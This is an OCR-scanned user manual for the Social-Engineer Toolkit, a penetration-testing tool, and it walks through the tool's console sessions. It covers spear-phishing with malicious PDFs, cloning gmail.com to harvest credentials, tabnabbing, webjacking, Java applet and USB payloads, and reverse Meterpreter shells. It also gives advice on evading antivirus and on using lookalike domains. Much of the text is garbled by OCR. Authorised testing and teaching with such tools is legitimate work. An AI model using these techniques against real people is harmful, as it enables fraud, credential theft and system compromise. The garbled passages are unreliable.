SET User Manual Made For SET 6.0: Trusted
SET User Manual Made For SET 6.0: Trusted
SET User Manual Made For SET 6.0: Trusted
2 SET MENU'S 8
16 FAST-TRACK EXPLOITATION 71
18 SET AUTOMATION 76
(TS) T R U 5 T E D 5 E C info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
V _ y IHFQRMFITIOH SECURITY MHOE SIMPLE
The Social-Engineer Toolkit (SET) is specifically designed to perform advanced attacks
against the human element. SET was designed to be released with the
http://www.social-engineer.org launch and has quickly became a standard tool in a
penetration testers arsenal. SET is written by David Kennedy (Rel_1 K) and with a lot of
help from the community it has incorporated attacks never before seen in an
exploitation toolset. The attacks built into the toolkit are designed to be focused
attacks against a person or organization used during a penetration test.
root@bt:/pentest/exploits/set# ./set-update
U src/payloads/set_payloads/http_shell.py
U src/payloads/set_payloads/shell.py
U src/payloads/set_payloads/shell.windows
U src/payloads/set_payloads/set_http_server.py
U src/payloads/set_payloads/persistence.py
U src/payloads/set_payloads/listener.py
U src/qrcode/qrgenerator.py
U modules/ratte_module.py
U modules/ratte_only_module.py
U set-automate
U set-proxy
U set
U set-update
U readme/LICENSE
U readme/CHANGES
root@bt:/pentest/exploits/set#
Once you've updated to the latest version, start tweaking your attack by editing the
SET configuration file. Let's walk through each of the flags:
The Ettercap section can be used when you're on the same subnet as the victims and
you want to perform DNS poison attacks against a subset of IP addresses. When this
flag is set to ON, it will poison the entire local subnet and redirect a specific site or all
sites to your malicious server running.
Setting the SENDMAIL flag to ON will try starting SENDMAIL, which can spoof source
email addresses. This attack only works if the victim's SMTP server does not perform
reverse lookups on the hostname. SENDMAIL must be installed. If your using
BackTrack 4, it is installed by default.
When setting the WEBATTACK_EMAIL to ON, it will allow you to send mass emails to
the victim while utilizing the Web Attack vector. Traditionally the emailing aspect is only
available through the spear-phishing menu however when this is enabled it will add
additional functionality for you to be able to email victims with links to help better your
attacks.
# THIS FLAG WILL SET THE JAVA ID FLAG WITHIN THE JAVA APPLET TO
SOMETHING DIFFE$
# THIS COULD BE TO MAKE IT LOOK MORE BELIEVABLE OR FOR BETTER
OBFUSCATION
JAVA_ID_PARAM=Secure Java Applet
#
# JAVA APPLET REPEATER OPTION WILL CONTINUE TO PROMPT THE USER
WITH THE JAVA AP$
# THE USER HITS CANCEL. THIS MEANS IT WILL BE NON STOP UNTIL RUN IS
EXECUTED. T$
# A BETTER SUCCESS RATE FOR THE JAVA APPLET ATTACK
JAVA_REPEATER=ON
When a user gets the Java applet warning, they will see the 'Secure Java Applet' as the
name of the Applet instead of the IP address. This adds a better believability to the Java
applet. The second option will prompt the user over and over with nagging Java Applet
warnings if they hit cancel. This is useful when the user clicks cancel and the attack
would be rendered useless, instead it will continue to pop up over and over.
The AUTO_DETECT flag is probably one of the most asked questions in SET. In most
cases, SET will grab the interface you use in order to connect out to the Internet and
use that as the reverse connection and IP address. Most attacks need to be
customized and may not be on the internal network. If you turn this flag to OFF, SET
will prompt you with additional questions on setting up the attack. This flag should be
used when you want to use multiple interfaces, have an external IP, or you're in a
NAT/Port forwarding scenario.
# SPECIFY WHAT PORT TO RUN THE HTTP SERVER OFF OF THAT SERVES THE
JAVA APPLET ATTACK
# OR METASPLOIT EXPLOIT. DEFAULT IS PORT 80.
WEB_PORT=80
When using the payload encoding options of SET, the best option for Anti-Virus bypass
is the backdoored, or loaded with a malicious payload hidden in the exe, executable
option. Specifically an exe is backdoored with a Metasploit based payload and can
generally evade most AV's out there. SET has an executable built into it for the
backdooring of the exe however if for some reason you want to use a different
executable, you can specify the path to that exe with the CUSTOM_EXE flag.
The web server utilized within SET is a custom-coded web server that at times can be
somewhat slow based off of the needs. If you find that you need a boost and want to
utilize Apache, you can flip this switch to ON and it will use Apache to handle the web
requests and speed your attack up. Note that this attack only works with the Java
Applet and Metasploit based attacks. Based on the interception of credentials, Apache
cannot be used with the web jacking, tabnabbing, or credential harvester attack
methods.
In some cases when your performing an advanced social-engineer attack you may
want to register a domain and buy an SSL cert that makes the attack more believable.
You can incorporate SSL based attacks with SET. You will need to turn the
WEBATTACK_SSL to ON. If you want to use self-signed certificates you can as well
however there will be an "untrusted" warning when a victim goes to your website.
TWEAK THE WEB JACKING TIME USED FOR THE IFRAME REPLACE,
SOMETIMES IT CAN BE A LITTLE SLOW
# AND HARDER TO CONVINCE THE VICTIM. 5000 = 5 seconds
WEBJACKING _TIME=2000
The webjacking attack is performed by replacing the victim's browser with another
window that is made to look and appear to be a legitimate site. This attack is very
dependant on timing, if your doing it over the Internet, I recommend the delay to be
5000 (5 seconds) otherwise if your internal, 2000 (2 seconds) is probably a safe bet.
The digital signature stealing method requires the python module called PEFILE which
uses a technique used in Disitool by Didier Stevens by taking the digital certificate
signed by Microsoft and importing it into a malicious executable. A lot of times this will
give better anti-virus detection.
In addition to digital signature stealing, you can do additional packing by using UPX.
This is installed by default on Back|Track linux, if this is set to ON and it does not find
it, it will still continue but disable the UPX packing.
The next options can configure once a meterpreter session has been established, what
types of commands to automatically run. This would be useful if your getting multiple
shells and want to execute specific commands to extract information on the system.
# THIS FEATURE WILL AUTO EMBED A IMG SRC TAG TO A UNC PATH OF YOUR
ATTACK MACHINE.
# USEFUL IF YOU WANT TO INTERCEPT THE HALF LM KEYS WITH
RAINBOWTABLES. WHAT WILL HAPPEN
# IS AS SOON AS THE VICTIM CLICKS THE WEB-PAGE LINK, A UNC PATH WILL
BE INITIATED
# AND THE METASPLOIT CAPTURE/SMB MODULE WILL INTERCEPT THE HASH
VALUES.
UNC_EMBED=OFF
#
This will automatically embed a UNC path into the web application, when the victim
connects to your site, it will try connecting to the server via a file share. When that
occurs a challenge response happens and the challenge/responses can be captured
and used for attacking.
2 SET Menu's
SET is a menu driven based attack system, which is fairly unique when it comes to
hacker tools. The decision not to make it command line was made because of how
social-engineer attacks occur; it requires multiple scenarios, options, and
customizations. If the tool had been command line based it would have really limited
the effectiveness of the attacks and the inability to fully customize it based on your
target. Let's dive into the menu and do a brief walkthrough of each attack vector.
root@bt:/pentest/exploits/set# ./set
/ A A_
\ \ I - ) - I I
/ M Ml
Visit: https://www.trustedsec.com
set> 1
Welcome to the SET E-Mail attack method. This module allows you
to specially craft email messages and send them to a large (or small) number of
people with attached fileformat malicious payloads. If you want to spoof your
email address, be sure "Sendmail" is installed (it is installed in BT4) and change
the config/set_config SENDMAIL=OFF flag to SENDMAIL=ON.
There are two options, one is getting your feet wet and letting SET do everything
for you (option 1), the second is to create your own FiieFormat payioad and use it
in your own attack. Either way, good luck and enjoy!
The spear-phishing attack menu is used for performing targeted email attacks against
a victim. You can send multiple emails based on what your harvested or you can send
it to individuals. You can also utilize fileformat (for example a PDF bug) and send the
malicious attack to the victim in order to hopefully compromise the system.
set>2
The Java Applet attack will spoof a Java Certificate and deliver a Metasploit
based payload. Uses a customized Java applet created by Thomas Werth to
deliver the payload.
The Metasploit browser exploit method will utilize select Metasploit browser
exploits through an iframe and deliver a Metasploit payload.
The Credential Harvester Method will utilize web cloning of a website that has a
username and password field and harvest all the information posted to the
website.
The TabNabbing Method will wait for a user to move to a different tab, then
refresh the page to something different.
The web jacking attack method was introduced by white_sheep, Emgent and the
Back|Track team. This method utilizes iframe replacements to make the
highlighted URL link to appear legitimate however when clicked a window pops
up then is replaced with the malicious link. You can edit the link replacement
settings in the set_config if its to slow/fast.
The multi-attack will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing, all at once to see which is successful.
set:webattack>
The web attack vector is used by performing phishing attacks against the victim in
hopes they click the link. There is a wide-variety of attacks that can occur once they
click. We will dive into each one of the attacks later on.
The infectious USB/DVD creator will develop a Metasploit based payload for you and
craft an autorun.inf file that once burned or placed on a USB will trigger an autorun
feature and hopefully compromise the system. This attack vector is relatively simple in
nature and relies on deploying the devices to the physical system.
The create payload and listener is an extremely simple wrapper around Metasploit to
create a payload, export the exe for you and generate a listener. You would need to
transfer the exe onto the victim machine and execute it in order for it to properly work.
The mass mailer attack will allow you to send multiple emails to victims and customize
the messages. This option does not allow you to create payloads, so it is generally
used to perform a mass phishing attack.
set>6
You will need to purchase the Teensy USB device, it's roughly
$22 dollars. This attack vector will auto generate the code
needed in order to deploy the payload on the system for you.
This attack vector will create the .pde files necessary to import
into Arduino (the IDE used for programming the Teensy). The attack
vectors range from Powershell based downloaders, wscript attacks,
and other methods.
http://www.irongeek.co m/i.php?page=security/programmable-hid-usb-
keystroke-dongle
This attack vector also attacks X10 based controllers, be sure to be leveraging
X10 based communication devices in order for this to work.
set:arduino>
The teensy USB HID attack is a method used by purchasing a hardware based device
from prjc.com and programming it in a manner that makes the small USB
microcontroller to look and feel exactly like a keyboard. The important part with this is
it bypasses autorun capabilities and can drop payloads onto the system through the
onboard flash memory. The keyboard simulation allows you to type characters in a
Welcome to the SET E-Mail attack method. This module allows you
to specially craft email messages and send them to a large (or small)
number of people with attached fileformat malicious payloads. If you
want to spoof your email address, be sure "Sendmail" is installed (it
is installed in BT4) and change the config/set_config SENDMAIL=OFF flag
to SENDMAIL=ON.
There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!
set:phishing>1
set:payloads> 1
Name: Description:
set:payloads> 1
1) avoid_utf8_tolower (Normal)
2) shikata ga nai (Very Good)
3) alpha_mixed (Normal)
4) alpha upper (Normal)
5) call4_dword_xor (Normal)
6) countdown (Normal)
7) fnstenv_mov (Normal)
(TS) T - R L I 5 T E D 5 E C info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
V _ y IHFQRMFITIOH SECURITY MHOE SIMPLE
17
8) jmp_call_additive (Normal)
9) nonalpha (Normal)
10) nonupper (Normal)
11) Unicode mixed (Normal)
12) Unicode upper (Normal)
13) alpha2 (Normal)
14) No Encoding (None)
15) Multi-Encoder (Excellent)
16) Backdoored Executable (BEST)
set:encoding> 16
set:encoding>16
set:payloads> PORT of the listener [443]
[*] Windows Meterpreter Reverse TCP selected.
Enter the port to connect back on (press enter for default):
] Defaulting to port 443...
] Generating fileformat exploit...
] Please wait while we load the module tree...
] Started reverse handler on 172.16.32.129:443
] Creating 'template.pdf file...
T Generated output file /pentest/exploits/set/src/programjunk/template.pdf
As an added bonus, use the file-format creator in SET to create your attachment.
There are two options on the mass e-mailer, the first would
be to send an email to one individual person. The second option
will allow you to import a list and send it to as many people as
you want within that list.
Do you want to use a predefined template or craft a one time email template.
1. Pre-Defined Template
2. One-Time Use Email Template
1: Baby Pics
2: Strange Internet usage from your computer
3: New Update
4: LOL...have to check this out...
5: Dan Brown's Angels & Demons
6: Computer Issue
7: Status Report
/ \ A _ /_/_
M\/ I W 11/ \ _ W
||V|||_\|--| A / _ \ | - _ / | | | | || 11--|
U l l l - l - I L / - \ _ \ \ II ||_\_/|| ||_
|/ I / \ VA \ / V \_| |_\ \ \
Once the attack is all setup, the victim opens the email and opens the PDF up:
Greetings,
Thanks,
Rich
_-. template.pdf
* > 70K View as HTML Downlead
As soon as the victim opens the attachment up, a shell is presented back to us:
The spear-phishing attack can send to multiple people or individuals, it integrates into
Google mail and can be completely customized based on your needs for the attack
vector. Overall this is very effective for email spear-phishing.
website for us. Let's launch SET and prep our attack.
set>2
The Web Attack module is a unique way of utilizing multiple web-based attacks
in order to compromise the intended victim.
The Java Applet Attack method will spoof a Java Certificate and deliver a
metasploit based payload. Uses a customized java applet created by Thomas
Werth to deliver the payload.
The Multi-Attack method will add a combination of attacks through the web
attack menu. For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing, all at once to see which is successful.
set:webattack> 1
The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
1) Web Templates
2) Site Cloner
3) Custom Import
set:webattack> 2
Name: Description:
set:payloads> 2
1. avoid_utf8_tolower (Normal)
(TS) T - R L I 5 T E D 5 E C info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
V _ y IHFQRMFITIOH SECURITY MHOE SIMPLE
24
******************************************************
Do you want to create a Linux/OSX reverse_tcp payioad
in the Java Applet attack as well?
********************************************************
***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************
[--] Tested on IE6, IE7, IE8, Safari, Chrome, and FireFox [--]
/ \ A _ /_/_
M\/ I W 11/ \ _ W
||V|||_\|--| A / _ \ | - _ / | | | | || 11--|
U l l l - l - I L / - \ _ \ \ II ||_\_/|| ||_
|/ I / \ VA \ / V \_| |_\ \ \
In this attack, we've set up our scenario to clone https://gmail.com and use the reverse
meterpreter attack vector on port 443. We've used the backdoored executable to
hopefully bypass anti-virus and setup Metasploit to handler the reverse connections. If
you wanted to utilize an email with this attack vector you could turn the
config/set_config turn the WEBATTACK_EMAIL=OFF to WEBATTACK_EMAIL=ON.
When you get a victim to click a link or coax him to your website, it will look something
like this:
Create an account»
As soon as the victim clicks run, you are presented with a meterpreter shell, and the
victim is redirected back to the original Google site completely unaware that they have
been compromised. Note that Java has updated their applet code to show the
"Publisher" field on the applet as UNKNOWN when self signing. In order to bypass
this, you will need to register a company in your local state, and buy a code signing
certificate in the company name.
Attack Description:
T-RU5TEDSEC info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
INFDRMfUIOIt SECURITY MAGE SIMPLE
28
The full-screen attack utilizes the trust in the web browser by using the introduced
FullScreen API available in Firefox, Chrome and Safari. (Windows , Mac or Linux)
The FullScreen attack module comes available with just two FullScreen Attack options.
Getting the user to click on a crafted link with spoofed browser tooltip text when the
user rolls over the link making them believe it's really https://www.gmail.com . When
clicked a script detects which type of browser the user is running and deploys images
to match the browser (including OS). Displaying a fake page and asking for user
passwords or other important information.
The main menu displays three options the first to generate an original FullScreen attack
on it's own separate page. The second option is crafting the full-screen attack into a
usable XSS ( Cross site scripting ) set of files ready to be deployed. And of course the
last option will take you back to SETs previous menu.
First Option:
First option will display two available Full-Screen Attacks Picking one or the other will
result in several prompts asking you information based on how you would
like your FullScreen Attack page created for field deployment. Currently the two
Generated attacks
are GMAIL and FACEBOOK. PHP must be enabled on your server for additional
information gathering
techniques to work. It will ask if you have a local server running? A simple Yes or no
will lead you to either
storing the generated files locally on disk or locally within your running web server. The
next question will ask
about relaying the victims information after the attack has been established and
finalized. The information can either be saved locally on disk or be mailed to you. (If
you pick mail please make sure PHPs mail features are setup and running.)
Entering an Email address or answering if you would like a Random File name
generated for each new submission is then asked. Obviously picking No to random
files will have you enter a file name where all results will be stored on disk. The next
question will ask if you would like to gather a more in-depth information gathering
profile for each victim, this includes things such as GEOIP, ISP, USER AGENT etc..
Other various questions will be asked hitting enter will keep the default answer for each
situation. There is also a brief description of each function and what it does also. Make
sure SET has proper read + write priv set so it can create all of the newly generated
files. Success messages will be displayed after everything has been created. [ 1 PHP
File , js Folder, img Folder, ess Folder ] The php file will depend on the name you
assigned it during configuration the default is index.php. * DO NOT RE NAME ANY
FOLDERS OR FILES WITHIN FOLDERS *
(TS) T R U 5 T E D 5 E C info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
V _ Y IHFQRMRTIOH SECURITY MHOE SIMPLE
29
Second Option:
The second option is for XSS deployment and my favorite. This ends up creating all
folders and simply linking to your header.js file (http://yoursite/header.js) in your XSS
payload will display the FullScreen attack file embedded within whatever site you have
ethically found and are exploiting an XSS within. This also requires PHP be present on
your attacking server because a PHP file will be there listening for incoming form
submissions. The XSS vuln should be able to run JavaScript for this attack to work
properly. Currently there is only one XSS Full-Screen generation option available,
which is Facebook. More options and methods will be added in the future.
The First question after selecting this attack is to specify the absolute path of where
you are keeping all the folders and files. ( Ex: http://mysite.net/FullScreenfolder) This
needs to be specific so all the images and files can all have an absolute path so they
are displayed during the XSS attack. All other questions will be straightforward and
explained with a brief description of what it does. Last you will pick a spot where to
upload all of the generated files for the attack. There will be one PHP file called
varGrab.php that will sit on your backend server listening to incoming data. (The data is
transferred using various JavaScript methods) The others are folders created [js, img,
ess ] . The JavaScript file that you want to link during your XSS payload is [
http://yoursite.com/js/header.js ] (in the js folder)
* DO NOT CHANGE FOLDER OR FILE NAMES UNLESS YOU ARE REALLY DIVING
INTO THINGS *
set>2
The Web Attack module is a unique way of utilizing multiple web-based attack in
order to compromise the intended victim.
The Java Applet Attack method will spoof a Java Certificate and deliver a
metasploit based payload. Uses a customized java applet created by Thomas
Werth to deliver the payload.
The Multi-Attack method will add a combination of attacks through the web
attack menu. For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing all at once to see which is successful.
set:webattack> 2
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
1. Web Templates
2. Site Cloner
3. Custom Import
4. Return to main menu
set:payloads> 7
1) Windows Shell Reverse_TCP Spawn a command shell on victim and
send back to attacker
2) Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim
and send back to attacker
3) Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and
send back to attacker
4) Windows Bind Shell Execute payload and create an accepting
port on remote system.
5) Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP
Inline
6) Windows Shell Reverse_TCP X64 Windows X64 Command Shell,
Reverse TCP Inline
7) Windows Meterpreter Reverse_TCP X64 Connect back to the attacker
(Windows x64), Meterpreter
8) Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a
port home via multiple ports
9) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP
using SSL and use Meterpreter
10) Windows Meterpreter Reverse DNS Use a hostname instead of an IP
set:payloads> 2
set:payloads> Port to use for the reverse [443]:
[*] Cloning the website: https://gmail.com
[*] This could take a little bit...
[*] Injecting iframes into cloned website for MSF Attack....
[*] Malicious iframe injection successful...crafting payload.
***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************
[--] Tested on IE6, IE7, IE8, IE9, IE10, Safari, Chrome, and FireFox [--]
Once the victim browses the website, it will look exactly like the site you cloned and
then compromise the system.
set:webattack>3
The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
1) Web Templates
2) Site Cloner
3) Custom Import
set:webattack> 2
Email harvester will allow you to utilize the clone capabilities within SET to
harvest credentials or parameters from a website as well as place them into a
report.
The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] I have read the above message. [*]
Once the victim clicks the link, they will be presented with an exact replica of
gmail.com and hopefully be enticed to enter their username and password into the
form fields.
Update: the otivarcy policy -ia- beer s im.li'itd olio updoteo. L-.--.i--
Create an account»
As soon as the victim hits sign in, we are presented with the credentials and the victim
is redirected back to the legitimate site.
PARAM: asts=
[*] WHEN YOUR FINISHED. HIT CONTROL-C TO GENERATE A REPORT
Also note that when your finished to hit CONTROL-C, and a report will be generated
for you in two formats. The first is an html-based report; the other is xml if you need to
parse the information into another tool.
A
C[*] File exported to reports/2010-09-09 10:14:30.152435.html for your reading
pleasure...
[*] File in XML format exported to reports/2010-09-09 10:14:30.152435.xml for your
reading pleasure-
Press {return} to return to the menu.AC
The Social-Engineer Toolkit "Web Attack" vector is a unique way of utilizing
multiple web-based attacks in order to compromise the intended victim.
Enter what type of attack you would like to utilize.
The Java Applet attack will spoof a Java Certificate and deliver a metasploit
based payload. Uses a customized Java applet created by Thomas Werth to
deliver the payload.
The multi-attack will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing, all at once to see which is successful.
set:webattack> AC
Welcome to the Social-Engineer Toolkit Report Generation Tool. This report should contain information obtained during a successful phishing attack
and provide you with the website and all ot the parameters that were harvested. Please remember that SET is open-source, free, and available to the
information security community, Use this tool for good, not evil.
Social Engineering is defined as the process of deceiving people into giving away access or confidential information.
trick or simple fraud, the term typically applies to trickery or deception for the purpose of information gathering, fraud, or computer system access; in
PARAH: service^rail
PARAH: rm=false
PARAH: d5h=-7536764660264620804
PARAH: ltmpl=default
PARAH: ltmpl=default
PARAH: timeStmp=
PARAH: secTok=
PARAH: GALX=nwAWNiTEqGc
PARAH: Bnail=thisismyuser
PARAH: rniShown=l
PARAH: signIn=Sign+in
PARAH: asts=
TRUSTED Sec info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
INFDRMfUIOIt SECURITY MAGE SIMPLE
39
specify. The victim clicks back on the tab after a period of time and thinks they were
signed out of their email program or their business application and types the
credentials in. When the credentials are inserts, they are harvested and the user is
redirected back to the original website.
set:webattack>4
The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
1) Web Templates
2) Site Cloner
3) Custom Import
set:webattack> 2
The best way to use this attack is if username and password form
The victim is presented with a webpage that says please wait while the page loads.
[Q http://17Z.16.3Z.lZ9/ | | Q (Untitled)
When the victim switches tabs, the website is rewritten and then enters the credentials
and is harvested.
GH^M
byGoOgk
Welcome to Gmail
Update: the privacy policy has been simplified and updated. Learn more.
New to Gmail? It's free and easy.
I Create an account »
TRUSTED Sec info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
I N F O R M A T I O N SECURITY MHOE SIMPLE
41
PARAM: ltmpl=default
PARAM: ltmpl=default
PARAM: scc=1
PARAM: ss=1
PARAM: timeStmp=
PARAM: secTok=
PARAM: GALX=00-69E-Tt5g
POSSIBLE USERNAME FIELD FOUND: Email=sfdsfsd
POSSIBLE PASSWORD FIELD FOUND: Passwd=afds
PARAM: rmShown=1
PARAM: signln=Sign+in
PARAM: asts=
[*] WHEN YOUR FINISHED. HIT CONTROL-C TO GENERATE A REPORT
set:webattack> 6
The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
1) Web Templates
2) Site Cloner
3) Custom Import
set:webattack> 2
The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] I have read the above message. [*]
[*] Web Jacking Attack Vector is Enabled...Victim needs to click the link.
[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
When the victim goes to the site he/she will notice the link below, notice the bottom left
URL, its gmail.com.
The site https;//gmail.cojai has moved, click here to go to the new location.
When the victim clicks the link he is presented with the following webpage:
E l • httf://i:'>.lt,.3J.l^/:nde!i.h.tml ft • 1 ooole P\
J i Most Visited [ J Getting Started £ Latest Headlines
Google Account
Username:|
es: pat.Sleiia mple.com
0 -ncti It pht l i t t- p c i i " t u g •••• :ur p h i r rto Imp: gmail.com Leer Password; |
• Stay signed in
Create an account»
If you notice the URL bar we are at our malicious web server. In cases with social-
engineering, you want to make it believable, using an IP address is generally a bad
idea. My recommendation is if your doing a penetration test, register a name that's
similar to the victim, for gmail you could do gmail .com (notice the 1), something similar
that can mistake the user into thinking it's the legitimate site. Most of the time they
TRUSTED Sec info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
INFDRMfUIOIt SECURITY MAGE SIMPLE
44
won't even notice the IP but its just another way to ensure it goes on without a hitch.
Now that the victim enters the username and password in the fields, you will notice
that we can intercept the credentials now.
[*] Web Jacking Attack Vector is Enabled...Victim needs to click the link.
[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
attack vectors they shouldn't be combined anyways. Let's take a look at the multi
attack vector. In this scenario I'm going to turn on the Java Applet attack, Metasploit
Client-Side exploit, and the Web Jacking attack. When the victim browses the site,
he/she will need to click on the link and will be bombarded with credential harvester,
Metasploit exploits, and the Java applet attack. I'm going to intentionally select an
Internet Explorer 7 exploit and browse utilizing IE6 just to demonstrate if one fails, we
have other methods.
set:webattack>6
The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website functionality.
1) Web Templates
2) Site Cloner
3) Custom Import
set:webattack> 2
[*********************************************************
pt**************^
pt**************^
pt**************^
pt**************^
pt***************^
Conversely you can use the "Tactical Nuke" option, which is option 7 that will enable
all of the attack vectors automatically for you. In this example you can see the flags
change and the Java Applet, Metasploit Browser Exploit, Credential Harvester, and
Web Jacking attack methods have all been enabled. In order to proceed hit enter or
use option 8.
Name: Description:
5. Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP
Inline
6. Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse
TCP Inline
7. Windows Meterpreter Reverse_TCP X64 Connect back to the attacker
(Windows x64), Meterpreter
8. Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a
port home via multiple ports
9. Import your own executable Specify a path for your own executable
1. avoid_utf8_tolower (Normal)
2. shikata ga nai (Very Good)
3. alpha_mixed (Normal)
4. alpha upper (Normal)
5. call4_dword_xor (Normal)
6. countdown (Normal)
7. fnstenv_mov (Normal)
8. jmp_call_additive (Normal)
9. nonalpha (Normal)
10. nonupper (Normal)
11. Unicode mixed (Normal)
12. Unicode upper (Normal)
13. alpha2 (Normal)
14. No Encoding (None)
15. Multi-Encoder (Excellent)
16. Backdoored Executable (BEST)
******************************************************
Do you want to create a Linux/OSX reverse_tcp payioad
in the Java Applet attack as well?
*******************************************************
set:payloads> 8
Now that we have everything running, lets browse to the website and see what's there.
We first get greeted with the site has been moved...
https://,mail.cor./
We click the link and we are hit with a Metasploit exploit, look at the handler on the
backend.
This exploit fails because we are using Internet Explorer 6, once this fails, check out
the victims screen:
(TS) T - R U 5 T E T . D 5 E C info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
V _ y IHFORMHTIOM SECURITY MODE SIMPLE
53
http://172 16.32.129/
•IIL
GH il Welcome to Gmail
Google Account
name: Java Username:
at: pat.3Gnample.com
d Gmail on your m c b Is phcna t y pointing your phor Password: |
http://172.16.32.129
• Sa
ty
o Run | | Cancel
rsig"
3mv.!!fn Bjeino:
We hit run, and we have a meterpreter shell. In this instance we would be redirected
back to the original Google because the attack was successful. If you also notice,
when using the Java Applet we automatically migrate to a separate thread (process)
and happens to be notepad.exe. Reason being is if the victim closes the browser, we
will be safe and the process won't terminate our meterpreter shell.
Let's say that this attack failed and the user hit cancel. He would then be prompted to
enter his/her username and password into the username/password field.
TRUSTED Sec info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
INFORMATION SECURITY MAGE SIMPLE
54
PARAM: dsh=-8578216484479049837
PARAM: ltmpl=default
PARAM: ltmpl=default
PARAM: scc=1
PARAM: ss=1
PARAM: timeStmp=
PARAM: secTok=
PARAM: GALX=fYQL_bXkbzU
POSSIBLE USERNAME FIELD FOUND: Email=thisismyusername
POSSIBLE PASSWORD FIELD FOUND: Passwd=thisismypassword
PARAM: rmShown=1
PARAM: signln=Sign+in
PARAM: asts=
[*] WHEN YOUR FINISHED. HIT CONTROL-C TO GENERATE A REPORT
set>3
Pick the attack vector you wish to use: fileformat bugs or a straight executable.
1) File-Format Exploits
set:infectious> 1
* * * * * * * * * * PAYLOADS
D A V I /"»AI^O * * * * * * * * * *
set:payloads> 1
4. Windows Reverse TCP Shell (x64) Windows X64 Command Shell, Reverse
TCP Inline
5. Windows Meterpreter Reverse_TCP (X64) Connect back to the attacker
(Windows x64), Meterpreter
6. Windows Shell Bind_TCP (X64) Execute payload and create an accepting
port on remote system.
7. Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP
using SSL and use Meterpreter
[-]
11 (J-
II II IL
\ / _ ) _)/_ |/_) _\||/_\|| J
l((//|L((ll_IIIIIUIII_
_L|\ )\_)_IL(_/| ll-/|-|\_/LI\_)
In this example we specified a file format attack in order to create the infectious
USB/DVD/CD. A folder is created called 'SET' in the root of the SET directory that
contains the components you will need to copy over to the media device of your
(TS) T - R U 5 T E T . n 5 e r Z info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
V _ y IHFQRMRTIOH SECURITY MHOE SIMPLE
59
choosing. Once inserted, the file format exploit would trigger an overflow and if they
were susceptible, it would completely compromise their system with a meterpreter
shell. If we would have selected the executable section, it will have been the same
avenues as previously walked through in this chapter but instead of triggering an
exploit, it would trigger an executable.
When doing an Is -al in the SET directory you should notice that there is an "autorun"
folder. Burn the contents of that directory to a DVD or write to a USB device. Once
inserted you would be presented with a shell.
set>6
You will need to purchase the Teensy USB device, it's roughly
$22 dollars. This attack vector will auto generate the code
needed in order to deploy the payload on the system for you.
This attack vector will create the .pde files necessary to import
into Arduino (the IDE used for programming the Teensy). The attack
vectors range from Powershell based downloaders, wscript attacks,
and other methods.
http://www.irongeek.co m/i.php?page=security/programmable-hid-usb-
keystroke-dongle
This attack vector also attacks X10 based controllers, be sure to be leveraging
set:arduino> 2
Name: Description:
(TS) T R U S T E D S E C info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
V _ y IHFQRMFITIOH SECURITY MHOE SIMPLE
62
1. avoid_utf8_tolower (Normal)
2. shikata ga nai (Very Good)
3. alpha_mixed (Normal)
4. alpha upper (Normal)
5. call4_dword_xor (Normal)
6. countdown (Normal)
7. fnstenv_mov (Normal)
8. jmp_call_additive (Normal)
9. nonalpha (Normal)
10. nonupper (Normal)
11. Unicode mixed (Normal)
12. Unicode upper (Normal)
13. alpha2 (Normal)
14. No Encoding (None)
15. Multi-Encoder (Excellent)
16. Backdoored Executable (BEST)
(TS) T - R L I 5 T E D 5 E C info@trustedsec.com 11565 Pearl Rd. Suite 301 • Strongsville, OH 44136 877.550.4728
